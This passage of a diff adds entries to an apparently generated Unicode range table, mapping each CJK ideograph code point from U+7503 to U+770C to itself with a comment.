+ ["\u7503", "\u7503"], /* CJK Ideograph */
+ ["\u7504", "\u7504"], /* CJK Ideograph */
+ ["\u7505", "\u7505"], /* CJK Ideograph */
+ ["\u7506", "\u7506"], /* CJK Ideograph */
+ ["\u7507", "\u7507"], /* CJK Ideograph */
+ ["\u7508", "\u7508"], /* CJK Ideograph */
+ ["\u7509", "\u7509"], /* CJK Ideograph */
+ ["\u750A", "\u750A"], /* CJK Ideograph */
+ ["\u750B", "\u750B"], /* CJK Ideograph */
+ ["\u750C", "\u750C"], /* CJK Ideograph */
+ ["\u750D", "\u750D"], /* CJK Ideograph */
+ ["\u750E", "\u750E"], /* CJK Ideograph */
+ ["\u750F", "\u750F"], /* CJK Ideograph */
+ ["\u7510", "\u7510"], /* CJK Ideograph */
+ ["\u7511", "\u7511"], /* CJK Ideograph */
+ ["\u7512", "\u7512"], /* CJK Ideograph */
+ ["\u7513", "\u7513"], /* CJK Ideograph */
+ ["\u7514", "\u7514"], /* CJK Ideograph */
+ ["\u7515", "\u7515"], /* CJK Ideograph */
+ ["\u7516", "\u7516"], /* CJK Ideograph */
+ ["\u7517", "\u7517"], /* CJK Ideograph */
+ ["\u7518", "\u7518"], /* CJK Ideograph */
+ ["\u7519", "\u7519"], /* CJK Ideograph */
+ ["\u751A", "\u751A"], /* CJK Ideograph */
+ ["\u751B", "\u751B"], /* CJK Ideograph */
+ ["\u751C", "\u751C"], /* CJK Ideograph */
+ ["\u751D", "\u751D"], /* CJK Ideograph */
+ ["\u751E", "\u751E"], /* CJK Ideograph */
+ ["\u751F", "\u751F"], /* CJK Ideograph */
+ ["\u7520", "\u7520"], /* CJK Ideograph */
+ ["\u7521", "\u7521"], /* CJK Ideograph */
+ ["\u7522", "\u7522"], /* CJK Ideograph */
+ ["\u7523", "\u7523"], /* CJK Ideograph */
+ ["\u7524", "\u7524"], /* CJK Ideograph */
+ ["\u7525", "\u7525"], /* CJK Ideograph */
+ ["\u7526", "\u7526"], /* CJK Ideograph */
+ ["\u7527", "\u7527"], /* CJK Ideograph */
+ ["\u7528", "\u7528"], /* CJK Ideograph */
+ ["\u7529", "\u7529"], /* CJK Ideograph */
+ ["\u752A", "\u752A"], /* CJK Ideograph */
+ ["\u752B", "\u752B"], /* CJK Ideograph */
+ ["\u752C", "\u752C"], /* CJK Ideograph */
+ ["\u752D", "\u752D"], /* CJK Ideograph */
+ ["\u752E", "\u752E"], /* CJK Ideograph */
+ ["\u752F", "\u752F"], /* CJK Ideograph */
+ ["\u7530", "\u7530"], /* CJK Ideograph */
+ ["\u7531", "\u7531"], /* CJK Ideograph */
+ ["\u7532", "\u7532"], /* CJK Ideograph */
+ ["\u7533", "\u7533"], /* CJK Ideograph */
+ ["\u7534", "\u7534"], /* CJK Ideograph */
+ ["\u7535", "\u7535"], /* CJK Ideograph */
+ ["\u7536", "\u7536"], /* CJK Ideograph */
+ ["\u7537", "\u7537"], /* CJK Ideograph */
+ ["\u7538", "\u7538"], /* CJK Ideograph */
+ ["\u7539", "\u7539"], /* CJK Ideograph */
+ ["\u753A", "\u753A"], /* CJK Ideograph */
+ ["\u753B", "\u753B"], /* CJK Ideograph */
+ ["\u753C", "\u753C"], /* CJK Ideograph */
+ ["\u753D", "\u753D"], /* CJK Ideograph */
+ ["\u753E", "\u753E"], /* CJK Ideograph */
+ ["\u753F", "\u753F"], /* CJK Ideograph */
+ ["\u7540", "\u7540"], /* CJK Ideograph */
+ ["\u7541", "\u7541"], /* CJK Ideograph */
+ ["\u7542", "\u7542"], /* CJK Ideograph */
+ ["\u7543", "\u7543"], /* CJK Ideograph */
+ ["\u7544", "\u7544"], /* CJK Ideograph */
+ ["\u7545", "\u7545"], /* CJK Ideograph */
+ ["\u7546", "\u7546"], /* CJK Ideograph */
+ ["\u7547", "\u7547"], /* CJK Ideograph */
+ ["\u7548", "\u7548"], /* CJK Ideograph */
+ ["\u7549", "\u7549"], /* CJK Ideograph */
+ ["\u754A", "\u754A"], /* CJK Ideograph */
+ ["\u754B", "\u754B"], /* CJK Ideograph */
+ ["\u754C", "\u754C"], /* CJK Ideograph */
+ ["\u754D", "\u754D"], /* CJK Ideograph */
+ ["\u754E", "\u754E"], /* CJK Ideograph */
+ ["\u754F", "\u754F"], /* CJK Ideograph */
+ ["\u7550", "\u7550"], /* CJK Ideograph */
+ ["\u7551", "\u7551"], /* CJK Ideograph */
+ ["\u7552", "\u7552"], /* CJK Ideograph */
+ ["\u7553", "\u7553"], /* CJK Ideograph */
+ ["\u7554", "\u7554"], /* CJK Ideograph */
+ ["\u7555", "\u7555"], /* CJK Ideograph */
+ ["\u7556", "\u7556"], /* CJK Ideograph */
+ ["\u7557", "\u7557"], /* CJK Ideograph */
+ ["\u7558", "\u7558"], /* CJK Ideograph */
+ ["\u7559", "\u7559"], /* CJK Ideograph */
+ ["\u755A", "\u755A"], /* CJK Ideograph */
+ ["\u755B", "\u755B"], /* CJK Ideograph */
+ ["\u755C", "\u755C"], /* CJK Ideograph */
+ ["\u755D", "\u755D"], /* CJK Ideograph */
+ ["\u755E", "\u755E"], /* CJK Ideograph */
+ ["\u755F", "\u755F"], /* CJK Ideograph */
+ ["\u7560", "\u7560"], /* CJK Ideograph */
+ ["\u7561", "\u7561"], /* CJK Ideograph */
+ ["\u7562", "\u7562"], /* CJK Ideograph */
+ ["\u7563", "\u7563"], /* CJK Ideograph */
+ ["\u7564", "\u7564"], /* CJK Ideograph */
+ ["\u7565", "\u7565"], /* CJK Ideograph */
+ ["\u7566", "\u7566"], /* CJK Ideograph */
+ ["\u7567", "\u7567"], /* CJK Ideograph */
+ ["\u7568", "\u7568"], /* CJK Ideograph */
+ ["\u7569", "\u7569"], /* CJK Ideograph */
+ ["\u756A", "\u756A"], /* CJK Ideograph */
+ ["\u756B", "\u756B"], /* CJK Ideograph */
+ ["\u756C", "\u756C"], /* CJK Ideograph */
+ ["\u756D", "\u756D"], /* CJK Ideograph */
+ ["\u756E", "\u756E"], /* CJK Ideograph */
+ ["\u756F", "\u756F"], /* CJK Ideograph */
+ ["\u7570", "\u7570"], /* CJK Ideograph */
+ ["\u7571", "\u7571"], /* CJK Ideograph */
+ ["\u7572", "\u7572"], /* CJK Ideograph */
+ ["\u7573", "\u7573"], /* CJK Ideograph */
+ ["\u7574", "\u7574"], /* CJK Ideograph */
+ ["\u7575", "\u7575"], /* CJK Ideograph */
+ ["\u7576", "\u7576"], /* CJK Ideograph */
+ ["\u7577", "\u7577"], /* CJK Ideograph */
+ ["\u7578", "\u7578"], /* CJK Ideograph */
+ ["\u7579", "\u7579"], /* CJK Ideograph */
+ ["\u757A", "\u757A"], /* CJK Ideograph */
+ ["\u757B", "\u757B"], /* CJK Ideograph */
+ ["\u757C", "\u757C"], /* CJK Ideograph */
+ ["\u757D", "\u757D"], /* CJK Ideograph */
+ ["\u757E", "\u757E"], /* CJK Ideograph */
+ ["\u757F", "\u757F"], /* CJK Ideograph */
+ ["\u7580", "\u7580"], /* CJK Ideograph */
+ ["\u7581", "\u7581"], /* CJK Ideograph */
+ ["\u7582", "\u7582"], /* CJK Ideograph */
+ ["\u7583", "\u7583"], /* CJK Ideograph */
+ ["\u7584", "\u7584"], /* CJK Ideograph */
+ ["\u7585", "\u7585"], /* CJK Ideograph */
+ ["\u7586", "\u7586"], /* CJK Ideograph */
+ ["\u7587", "\u7587"], /* CJK Ideograph */
+ ["\u7588", "\u7588"], /* CJK Ideograph */
+ ["\u7589", "\u7589"], /* CJK Ideograph */
+ ["\u758A", "\u758A"], /* CJK Ideograph */
+ ["\u758B", "\u758B"], /* CJK Ideograph */
+ ["\u758C", "\u758C"], /* CJK Ideograph */
+ ["\u758D", "\u758D"], /* CJK Ideograph */
+ ["\u758E", "\u758E"], /* CJK Ideograph */
+ ["\u758F", "\u758F"], /* CJK Ideograph */
+ ["\u7590", "\u7590"], /* CJK Ideograph */
+ ["\u7591", "\u7591"], /* CJK Ideograph */
+ ["\u7592", "\u7592"], /* CJK Ideograph */
+ ["\u7593", "\u7593"], /* CJK Ideograph */
+ ["\u7594", "\u7594"], /* CJK Ideograph */
+ ["\u7595", "\u7595"], /* CJK Ideograph */
+ ["\u7596", "\u7596"], /* CJK Ideograph */
+ ["\u7597", "\u7597"], /* CJK Ideograph */
+ ["\u7598", "\u7598"], /* CJK Ideograph */
+ ["\u7599", "\u7599"], /* CJK Ideograph */
+ ["\u759A", "\u759A"], /* CJK Ideograph */
+ ["\u759B", "\u759B"], /* CJK Ideograph */
+ ["\u759C", "\u759C"], /* CJK Ideograph */
+ ["\u759D", "\u759D"], /* CJK Ideograph */
+ ["\u759E", "\u759E"], /* CJK Ideograph */
+ ["\u759F", "\u759F"], /* CJK Ideograph */
+ ["\u75A0", "\u75A0"], /* CJK Ideograph */
+ ["\u75A1", "\u75A1"], /* CJK Ideograph */
+ ["\u75A2", "\u75A2"], /* CJK Ideograph */
+ ["\u75A3", "\u75A3"], /* CJK Ideograph */
+ ["\u75A4", "\u75A4"], /* CJK Ideograph */
+ ["\u75A5", "\u75A5"], /* CJK Ideograph */
+ ["\u75A6", "\u75A6"], /* CJK Ideograph */
+ ["\u75A7", "\u75A7"], /* CJK Ideograph */
+ ["\u75A8", "\u75A8"], /* CJK Ideograph */
+ ["\u75A9", "\u75A9"], /* CJK Ideograph */
+ ["\u75AA", "\u75AA"], /* CJK Ideograph */
+ ["\u75AB", "\u75AB"], /* CJK Ideograph */
+ ["\u75AC", "\u75AC"], /* CJK Ideograph */
+ ["\u75AD", "\u75AD"], /* CJK Ideograph */
+ ["\u75AE", "\u75AE"], /* CJK Ideograph */
+ ["\u75AF", "\u75AF"], /* CJK Ideograph */
+ ["\u75B0", "\u75B0"], /* CJK Ideograph */
+ ["\u75B1", "\u75B1"], /* CJK Ideograph */
+ ["\u75B2", "\u75B2"], /* CJK Ideograph */
+ ["\u75B3", "\u75B3"], /* CJK Ideograph */
+ ["\u75B4", "\u75B4"], /* CJK Ideograph */
+ ["\u75B5", "\u75B5"], /* CJK Ideograph */
+ ["\u75B6", "\u75B6"], /* CJK Ideograph */
+ ["\u75B7", "\u75B7"], /* CJK Ideograph */
+ ["\u75B8", "\u75B8"], /* CJK Ideograph */
+ ["\u75B9", "\u75B9"], /* CJK Ideograph */
+ ["\u75BA", "\u75BA"], /* CJK Ideograph */
+ ["\u75BB", "\u75BB"], /* CJK Ideograph */
+ ["\u75BC", "\u75BC"], /* CJK Ideograph */
+ ["\u75BD", "\u75BD"], /* CJK Ideograph */
+ ["\u75BE", "\u75BE"], /* CJK Ideograph */
+ ["\u75BF", "\u75BF"], /* CJK Ideograph */
+ ["\u75C0", "\u75C0"], /* CJK Ideograph */
+ ["\u75C1", "\u75C1"], /* CJK Ideograph */
+ ["\u75C2", "\u75C2"], /* CJK Ideograph */
+ ["\u75C3", "\u75C3"], /* CJK Ideograph */
+ ["\u75C4", "\u75C4"], /* CJK Ideograph */
+ ["\u75C5", "\u75C5"], /* CJK Ideograph */
+ ["\u75C6", "\u75C6"], /* CJK Ideograph */
+ ["\u75C7", "\u75C7"], /* CJK Ideograph */
+ ["\u75C8", "\u75C8"], /* CJK Ideograph */
+ ["\u75C9", "\u75C9"], /* CJK Ideograph */
+ ["\u75CA", "\u75CA"], /* CJK Ideograph */
+ ["\u75CB", "\u75CB"], /* CJK Ideograph */
+ ["\u75CC", "\u75CC"], /* CJK Ideograph */
+ ["\u75CD", "\u75CD"], /* CJK Ideograph */
+ ["\u75CE", "\u75CE"], /* CJK Ideograph */
+ ["\u75CF", "\u75CF"], /* CJK Ideograph */
+ ["\u75D0", "\u75D0"], /* CJK Ideograph */
+ ["\u75D1", "\u75D1"], /* CJK Ideograph */
+ ["\u75D2", "\u75D2"], /* CJK Ideograph */
+ ["\u75D3", "\u75D3"], /* CJK Ideograph */
+ ["\u75D4", "\u75D4"], /* CJK Ideograph */
+ ["\u75D5", "\u75D5"], /* CJK Ideograph */
+ ["\u75D6", "\u75D6"], /* CJK Ideograph */
+ ["\u75D7", "\u75D7"], /* CJK Ideograph */
+ ["\u75D8", "\u75D8"], /* CJK Ideograph */
+ ["\u75D9", "\u75D9"], /* CJK Ideograph */
+ ["\u75DA", "\u75DA"], /* CJK Ideograph */
+ ["\u75DB", "\u75DB"], /* CJK Ideograph */
+ ["\u75DC", "\u75DC"], /* CJK Ideograph */
+ ["\u75DD", "\u75DD"], /* CJK Ideograph */
+ ["\u75DE", "\u75DE"], /* CJK Ideograph */
+ ["\u75DF", "\u75DF"], /* CJK Ideograph */
+ ["\u75E0", "\u75E0"], /* CJK Ideograph */
+ ["\u75E1", "\u75E1"], /* CJK Ideograph */
+ ["\u75E2", "\u75E2"], /* CJK Ideograph */
+ ["\u75E3", "\u75E3"], /* CJK Ideograph */
+ ["\u75E4", "\u75E4"], /* CJK Ideograph */
+ ["\u75E5", "\u75E5"], /* CJK Ideograph */
+ ["\u75E6", "\u75E6"], /* CJK Ideograph */
+ ["\u75E7", "\u75E7"], /* CJK Ideograph */
+ ["\u75E8", "\u75E8"], /* CJK Ideograph */
+ ["\u75E9", "\u75E9"], /* CJK Ideograph */
+ ["\u75EA", "\u75EA"], /* CJK Ideograph */
+ ["\u75EB", "\u75EB"], /* CJK Ideograph */
+ ["\u75EC", "\u75EC"], /* CJK Ideograph */
+ ["\u75ED", "\u75ED"], /* CJK Ideograph */
+ ["\u75EE", "\u75EE"], /* CJK Ideograph */
+ ["\u75EF", "\u75EF"], /* CJK Ideograph */
+ ["\u75F0", "\u75F0"], /* CJK Ideograph */
+ ["\u75F1", "\u75F1"], /* CJK Ideograph */
+ ["\u75F2", "\u75F2"], /* CJK Ideograph */
+ ["\u75F3", "\u75F3"], /* CJK Ideograph */
+ ["\u75F4", "\u75F4"], /* CJK Ideograph */
+ ["\u75F5", "\u75F5"], /* CJK Ideograph */
+ ["\u75F6", "\u75F6"], /* CJK Ideograph */
+ ["\u75F7", "\u75F7"], /* CJK Ideograph */
+ ["\u75F8", "\u75F8"], /* CJK Ideograph */
+ ["\u75F9", "\u75F9"], /* CJK Ideograph */
+ ["\u75FA", "\u75FA"], /* CJK Ideograph */
+ ["\u75FB", "\u75FB"], /* CJK Ideograph */
+ ["\u75FC", "\u75FC"], /* CJK Ideograph */
+ ["\u75FD", "\u75FD"], /* CJK Ideograph */
+ ["\u75FE", "\u75FE"], /* CJK Ideograph */
+ ["\u75FF", "\u75FF"], /* CJK Ideograph */
+ ["\u7600", "\u7600"], /* CJK Ideograph */
+ ["\u7601", "\u7601"], /* CJK Ideograph */
+ ["\u7602", "\u7602"], /* CJK Ideograph */
+ ["\u7603", "\u7603"], /* CJK Ideograph */
+ ["\u7604", "\u7604"], /* CJK Ideograph */
+ ["\u7605", "\u7605"], /* CJK Ideograph */
+ ["\u7606", "\u7606"], /* CJK Ideograph */
+ ["\u7607", "\u7607"], /* CJK Ideograph */
+ ["\u7608", "\u7608"], /* CJK Ideograph */
+ ["\u7609", "\u7609"], /* CJK Ideograph */
+ ["\u760A", "\u760A"], /* CJK Ideograph */
+ ["\u760B", "\u760B"], /* CJK Ideograph */
+ ["\u760C", "\u760C"], /* CJK Ideograph */
+ ["\u760D", "\u760D"], /* CJK Ideograph */
+ ["\u760E", "\u760E"], /* CJK Ideograph */
+ ["\u760F", "\u760F"], /* CJK Ideograph */
+ ["\u7610", "\u7610"], /* CJK Ideograph */
+ ["\u7611", "\u7611"], /* CJK Ideograph */
+ ["\u7612", "\u7612"], /* CJK Ideograph */
+ ["\u7613", "\u7613"], /* CJK Ideograph */
+ ["\u7614", "\u7614"], /* CJK Ideograph */
+ ["\u7615", "\u7615"], /* CJK Ideograph */
+ ["\u7616", "\u7616"], /* CJK Ideograph */
+ ["\u7617", "\u7617"], /* CJK Ideograph */
+ ["\u7618", "\u7618"], /* CJK Ideograph */
+ ["\u7619", "\u7619"], /* CJK Ideograph */
+ ["\u761A", "\u761A"], /* CJK Ideograph */
+ ["\u761B", "\u761B"], /* CJK Ideograph */
+ ["\u761C", "\u761C"], /* CJK Ideograph */
+ ["\u761D", "\u761D"], /* CJK Ideograph */
+ ["\u761E", "\u761E"], /* CJK Ideograph */
+ ["\u761F", "\u761F"], /* CJK Ideograph */
+ ["\u7620", "\u7620"], /* CJK Ideograph */
+ ["\u7621", "\u7621"], /* CJK Ideograph */
+ ["\u7622", "\u7622"], /* CJK Ideograph */
+ ["\u7623", "\u7623"], /* CJK Ideograph */
+ ["\u7624", "\u7624"], /* CJK Ideograph */
+ ["\u7625", "\u7625"], /* CJK Ideograph */
+ ["\u7626", "\u7626"], /* CJK Ideograph */
+ ["\u7627", "\u7627"], /* CJK Ideograph */
+ ["\u7628", "\u7628"], /* CJK Ideograph */
+ ["\u7629", "\u7629"], /* CJK Ideograph */
+ ["\u762A", "\u762A"], /* CJK Ideograph */
+ ["\u762B", "\u762B"], /* CJK Ideograph */
+ ["\u762C", "\u762C"], /* CJK Ideograph */
+ ["\u762D", "\u762D"], /* CJK Ideograph */
+ ["\u762E", "\u762E"], /* CJK Ideograph */
+ ["\u762F", "\u762F"], /* CJK Ideograph */
+ ["\u7630", "\u7630"], /* CJK Ideograph */
+ ["\u7631", "\u7631"], /* CJK Ideograph */
+ ["\u7632", "\u7632"], /* CJK Ideograph */
+ ["\u7633", "\u7633"], /* CJK Ideograph */
+ ["\u7634", "\u7634"], /* CJK Ideograph */
+ ["\u7635", "\u7635"], /* CJK Ideograph */
+ ["\u7636", "\u7636"], /* CJK Ideograph */
+ ["\u7637", "\u7637"], /* CJK Ideograph */
+ ["\u7638", "\u7638"], /* CJK Ideograph */
+ ["\u7639", "\u7639"], /* CJK Ideograph */
+ ["\u763A", "\u763A"], /* CJK Ideograph */
+ ["\u763B", "\u763B"], /* CJK Ideograph */
+ ["\u763C", "\u763C"], /* CJK Ideograph */
+ ["\u763D", "\u763D"], /* CJK Ideograph */
+ ["\u763E", "\u763E"], /* CJK Ideograph */
+ ["\u763F", "\u763F"], /* CJK Ideograph */
+ ["\u7640", "\u7640"], /* CJK Ideograph */
+ ["\u7641", "\u7641"], /* CJK Ideograph */
+ ["\u7642", "\u7642"], /* CJK Ideograph */
+ ["\u7643", "\u7643"], /* CJK Ideograph */
+ ["\u7644", "\u7644"], /* CJK Ideograph */
+ ["\u7645", "\u7645"], /* CJK Ideograph */
+ ["\u7646", "\u7646"], /* CJK Ideograph */
+ ["\u7647", "\u7647"], /* CJK Ideograph */
+ ["\u7648", "\u7648"], /* CJK Ideograph */
+ ["\u7649", "\u7649"], /* CJK Ideograph */
+ ["\u764A", "\u764A"], /* CJK Ideograph */
+ ["\u764B", "\u764B"], /* CJK Ideograph */
+ ["\u764C", "\u764C"], /* CJK Ideograph */
+ ["\u764D", "\u764D"], /* CJK Ideograph */
+ ["\u764E", "\u764E"], /* CJK Ideograph */
+ ["\u764F", "\u764F"], /* CJK Ideograph */
+ ["\u7650", "\u7650"], /* CJK Ideograph */
+ ["\u7651", "\u7651"], /* CJK Ideograph */
+ ["\u7652", "\u7652"], /* CJK Ideograph */
+ ["\u7653", "\u7653"], /* CJK Ideograph */
+ ["\u7654", "\u7654"], /* CJK Ideograph */
+ ["\u7655", "\u7655"], /* CJK Ideograph */
+ ["\u7656", "\u7656"], /* CJK Ideograph */
+ ["\u7657", "\u7657"], /* CJK Ideograph */
+ ["\u7658", "\u7658"], /* CJK Ideograph */
+ ["\u7659", "\u7659"], /* CJK Ideograph */
+ ["\u765A", "\u765A"], /* CJK Ideograph */
+ ["\u765B", "\u765B"], /* CJK Ideograph */
+ ["\u765C", "\u765C"], /* CJK Ideograph */
+ ["\u765D", "\u765D"], /* CJK Ideograph */
+ ["\u765E", "\u765E"], /* CJK Ideograph */
+ ["\u765F", "\u765F"], /* CJK Ideograph */
+ ["\u7660", "\u7660"], /* CJK Ideograph */
+ ["\u7661", "\u7661"], /* CJK Ideograph */
+ ["\u7662", "\u7662"], /* CJK Ideograph */
+ ["\u7663", "\u7663"], /* CJK Ideograph */
+ ["\u7664", "\u7664"], /* CJK Ideograph */
+ ["\u7665", "\u7665"], /* CJK Ideograph */
+ ["\u7666", "\u7666"], /* CJK Ideograph */
+ ["\u7667", "\u7667"], /* CJK Ideograph */
+ ["\u7668", "\u7668"], /* CJK Ideograph */
+ ["\u7669", "\u7669"], /* CJK Ideograph */
+ ["\u766A", "\u766A"], /* CJK Ideograph */
+ ["\u766B", "\u766B"], /* CJK Ideograph */
+ ["\u766C", "\u766C"], /* CJK Ideograph */
+ ["\u766D", "\u766D"], /* CJK Ideograph */
+ ["\u766E", "\u766E"], /* CJK Ideograph */
+ ["\u766F", "\u766F"], /* CJK Ideograph */
+ ["\u7670", "\u7670"], /* CJK Ideograph */
+ ["\u7671", "\u7671"], /* CJK Ideograph */
+ ["\u7672", "\u7672"], /* CJK Ideograph */
+ ["\u7673", "\u7673"], /* CJK Ideograph */
+ ["\u7674", "\u7674"], /* CJK Ideograph */
+ ["\u7675", "\u7675"], /* CJK Ideograph */
+ ["\u7676", "\u7676"], /* CJK Ideograph */
+ ["\u7677", "\u7677"], /* CJK Ideograph */
+ ["\u7678", "\u7678"], /* CJK Ideograph */
+ ["\u7679", "\u7679"], /* CJK Ideograph */
+ ["\u767A", "\u767A"], /* CJK Ideograph */
+ ["\u767B", "\u767B"], /* CJK Ideograph */
+ ["\u767C", "\u767C"], /* CJK Ideograph */
+ ["\u767D", "\u767D"], /* CJK Ideograph */
+ ["\u767E", "\u767E"], /* CJK Ideograph */
+ ["\u767F", "\u767F"], /* CJK Ideograph */
+ ["\u7680", "\u7680"], /* CJK Ideograph */
+ ["\u7681", "\u7681"], /* CJK Ideograph */
+ ["\u7682", "\u7682"], /* CJK Ideograph */
+ ["\u7683", "\u7683"], /* CJK Ideograph */
+ ["\u7684", "\u7684"], /* CJK Ideograph */
+ ["\u7685", "\u7685"], /* CJK Ideograph */
+ ["\u7686", "\u7686"], /* CJK Ideograph */
+ ["\u7687", "\u7687"], /* CJK Ideograph */
+ ["\u7688", "\u7688"], /* CJK Ideograph */
+ ["\u7689", "\u7689"], /* CJK Ideograph */
+ ["\u768A", "\u768A"], /* CJK Ideograph */
+ ["\u768B", "\u768B"], /* CJK Ideograph */
+ ["\u768C", "\u768C"], /* CJK Ideograph */
+ ["\u768D", "\u768D"], /* CJK Ideograph */
+ ["\u768E", "\u768E"], /* CJK Ideograph */
+ ["\u768F", "\u768F"], /* CJK Ideograph */
+ ["\u7690", "\u7690"], /* CJK Ideograph */
+ ["\u7691", "\u7691"], /* CJK Ideograph */
+ ["\u7692", "\u7692"], /* CJK Ideograph */
+ ["\u7693", "\u7693"], /* CJK Ideograph */
+ ["\u7694", "\u7694"], /* CJK Ideograph */
+ ["\u7695", "\u7695"], /* CJK Ideograph */
+ ["\u7696", "\u7696"], /* CJK Ideograph */
+ ["\u7697", "\u7697"], /* CJK Ideograph */
+ ["\u7698", "\u7698"], /* CJK Ideograph */
+ ["\u7699", "\u7699"], /* CJK Ideograph */
+ ["\u769A", "\u769A"], /* CJK Ideograph */
+ ["\u769B", "\u769B"], /* CJK Ideograph */
+ ["\u769C", "\u769C"], /* CJK Ideograph */
+ ["\u769D", "\u769D"], /* CJK Ideograph */
+ ["\u769E", "\u769E"], /* CJK Ideograph */
+ ["\u769F", "\u769F"], /* CJK Ideograph */
+ ["\u76A0", "\u76A0"], /* CJK Ideograph */
+ ["\u76A1", "\u76A1"], /* CJK Ideograph */
+ ["\u76A2", "\u76A2"], /* CJK Ideograph */
+ ["\u76A3", "\u76A3"], /* CJK Ideograph */
+ ["\u76A4", "\u76A4"], /* CJK Ideograph */
+ ["\u76A5", "\u76A5"], /* CJK Ideograph */
+ ["\u76A6", "\u76A6"], /* CJK Ideograph */
+ ["\u76A7", "\u76A7"], /* CJK Ideograph */
+ ["\u76A8", "\u76A8"], /* CJK Ideograph */
+ ["\u76A9", "\u76A9"], /* CJK Ideograph */
+ ["\u76AA", "\u76AA"], /* CJK Ideograph */
+ ["\u76AB", "\u76AB"], /* CJK Ideograph */
+ ["\u76AC", "\u76AC"], /* CJK Ideograph */
+ ["\u76AD", "\u76AD"], /* CJK Ideograph */
+ ["\u76AE", "\u76AE"], /* CJK Ideograph */
+ ["\u76AF", "\u76AF"], /* CJK Ideograph */
+ ["\u76B0", "\u76B0"], /* CJK Ideograph */
+ ["\u76B1", "\u76B1"], /* CJK Ideograph */
+ ["\u76B2", "\u76B2"], /* CJK Ideograph */
+ ["\u76B3", "\u76B3"], /* CJK Ideograph */
+ ["\u76B4", "\u76B4"], /* CJK Ideograph */
+ ["\u76B5", "\u76B5"], /* CJK Ideograph */
+ ["\u76B6", "\u76B6"], /* CJK Ideograph */
+ ["\u76B7", "\u76B7"], /* CJK Ideograph */
+ ["\u76B8", "\u76B8"], /* CJK Ideograph */
+ ["\u76B9", "\u76B9"], /* CJK Ideograph */
+ ["\u76BA", "\u76BA"], /* CJK Ideograph */
+ ["\u76BB", "\u76BB"], /* CJK Ideograph */
+ ["\u76BC", "\u76BC"], /* CJK Ideograph */
+ ["\u76BD", "\u76BD"], /* CJK Ideograph */
+ ["\u76BE", "\u76BE"], /* CJK Ideograph */
+ ["\u76BF", "\u76BF"], /* CJK Ideograph */
+ ["\u76C0", "\u76C0"], /* CJK Ideograph */
+ ["\u76C1", "\u76C1"], /* CJK Ideograph */
+ ["\u76C2", "\u76C2"], /* CJK Ideograph */
+ ["\u76C3", "\u76C3"], /* CJK Ideograph */
+ ["\u76C4", "\u76C4"], /* CJK Ideograph */
+ ["\u76C5", "\u76C5"], /* CJK Ideograph */
+ ["\u76C6", "\u76C6"], /* CJK Ideograph */
+ ["\u76C7", "\u76C7"], /* CJK Ideograph */
+ ["\u76C8", "\u76C8"], /* CJK Ideograph */
+ ["\u76C9", "\u76C9"], /* CJK Ideograph */
+ ["\u76CA", "\u76CA"], /* CJK Ideograph */
+ ["\u76CB", "\u76CB"], /* CJK Ideograph */
+ ["\u76CC", "\u76CC"], /* CJK Ideograph */
+ ["\u76CD", "\u76CD"], /* CJK Ideograph */
+ ["\u76CE", "\u76CE"], /* CJK Ideograph */
+ ["\u76CF", "\u76CF"], /* CJK Ideograph */
+ ["\u76D0", "\u76D0"], /* CJK Ideograph */
+ ["\u76D1", "\u76D1"], /* CJK Ideograph */
+ ["\u76D2", "\u76D2"], /* CJK Ideograph */
+ ["\u76D3", "\u76D3"], /* CJK Ideograph */
+ ["\u76D4", "\u76D4"], /* CJK Ideograph */
+ ["\u76D5", "\u76D5"], /* CJK Ideograph */
+ ["\u76D6", "\u76D6"], /* CJK Ideograph */
+ ["\u76D7", "\u76D7"], /* CJK Ideograph */
+ ["\u76D8", "\u76D8"], /* CJK Ideograph */
+ ["\u76D9", "\u76D9"], /* CJK Ideograph */
+ ["\u76DA", "\u76DA"], /* CJK Ideograph */
+ ["\u76DB", "\u76DB"], /* CJK Ideograph */
+ ["\u76DC", "\u76DC"], /* CJK Ideograph */
+ ["\u76DD", "\u76DD"], /* CJK Ideograph */
+ ["\u76DE", "\u76DE"], /* CJK Ideograph */
+ ["\u76DF", "\u76DF"], /* CJK Ideograph */
+ ["\u76E0", "\u76E0"], /* CJK Ideograph */
+ ["\u76E1", "\u76E1"], /* CJK Ideograph */
+ ["\u76E2", "\u76E2"], /* CJK Ideograph */
+ ["\u76E3", "\u76E3"], /* CJK Ideograph */
+ ["\u76E4", "\u76E4"], /* CJK Ideograph */
+ ["\u76E5", "\u76E5"], /* CJK Ideograph */
+ ["\u76E6", "\u76E6"], /* CJK Ideograph */
+ ["\u76E7", "\u76E7"], /* CJK Ideograph */
+ ["\u76E8", "\u76E8"], /* CJK Ideograph */
+ ["\u76E9", "\u76E9"], /* CJK Ideograph */
+ ["\u76EA", "\u76EA"], /* CJK Ideograph */
+ ["\u76EB", "\u76EB"], /* CJK Ideograph */
+ ["\u76EC", "\u76EC"], /* CJK Ideograph */
+ ["\u76ED", "\u76ED"], /* CJK Ideograph */
+ ["\u76EE", "\u76EE"], /* CJK Ideograph */
+ ["\u76EF", "\u76EF"], /* CJK Ideograph */
+ ["\u76F0", "\u76F0"], /* CJK Ideograph */
+ ["\u76F1", "\u76F1"], /* CJK Ideograph */
+ ["\u76F2", "\u76F2"], /* CJK Ideograph */
+ ["\u76F3", "\u76F3"], /* CJK Ideograph */
+ ["\u76F4", "\u76F4"], /* CJK Ideograph */
+ ["\u76F5", "\u76F5"], /* CJK Ideograph */
+ ["\u76F6", "\u76F6"], /* CJK Ideograph */
+ ["\u76F7", "\u76F7"], /* CJK Ideograph */
+ ["\u76F8", "\u76F8"], /* CJK Ideograph */
+ ["\u76F9", "\u76F9"], /* CJK Ideograph */
+ ["\u76FA", "\u76FA"], /* CJK Ideograph */
+ ["\u76FB", "\u76FB"], /* CJK Ideograph */
+ ["\u76FC", "\u76FC"], /* CJK Ideograph */
+ ["\u76FD", "\u76FD"], /* CJK Ideograph */
+ ["\u76FE", "\u76FE"], /* CJK Ideograph */
+ ["\u76FF", "\u76FF"], /* CJK Ideograph */
+ ["\u7700", "\u7700"], /* CJK Ideograph */
+ ["\u7701", "\u7701"], /* CJK Ideograph */
+ ["\u7702", "\u7702"], /* CJK Ideograph */
+ ["\u7703", "\u7703"], /* CJK Ideograph */
+ ["\u7704", "\u7704"], /* CJK Ideograph */
+ ["\u7705", "\u7705"], /* CJK Ideograph */
+ ["\u7706", "\u7706"], /* CJK Ideograph */
+ ["\u7707", "\u7707"], /* CJK Ideograph */
+ ["\u7708", "\u7708"], /* CJK Ideograph */
+ ["\u7709", "\u7709"], /* CJK Ideograph */
+ ["\u770A", "\u770A"], /* CJK Ideograph */
+ ["\u770B", "\u770B"], /* CJK Ideograph */
+ ["\u770C", "\u770C"], /* CJK Ideograph */
